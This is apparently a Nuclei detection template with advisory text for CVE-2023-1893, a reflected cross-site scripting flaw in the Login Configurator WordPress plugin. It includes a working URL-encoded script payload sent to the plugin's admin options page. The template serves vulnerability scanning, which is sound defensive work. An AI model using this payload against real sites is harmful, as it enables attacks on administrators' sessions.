Login Configurator WordPress plugin <= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL.
PoC
id: CVE-2023-1893
info:
name: Login Configurator <=2.1 - Cross-Site Scripting
author: 0xr2r
severity: medium
description: |
Login Configurator WordPress plugin <= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL.
impact: |
Attackers can execute arbitrary scripts in the context of site administrators, potentially leading to session hijacking or account compromise.
remediation: |
Update to the latest version of the plugin where the issue is fixed.
reference:
- https://wpscan.com/vulnerability/dbe6cf09-971f-42e9-b744-9339454168c7
- http://packetstormsecurity.com/files/173723/WordPress-Login-Configurator-2.1-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-1893
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1893
cwe-id: CWE-79
epss-score: 0.00718
epss-percentile: 0.52123
cpe: cpe:2.3:a:login_configurator_project:login_configurator:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: login_configurator_project
product: login_configurator
tags: cve,cve2023,wp,wp-plugin,wordpress,xss,login_configurator,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: body
words:
- "login-configurator"
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-admin/options-general.php?page=login-configurator-options&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E#top"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<script>alert(document.domain)</script>", "login-configurator")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100d7aa7741371cdc238208a66445a5eded8892818b7c75d78536837b27391295c7022100b2124096f86119857cc35501bcaf202d8d8b22b2b1f472ac32243490cfbe7982:922c64590222798bb761d5b6d8e72950
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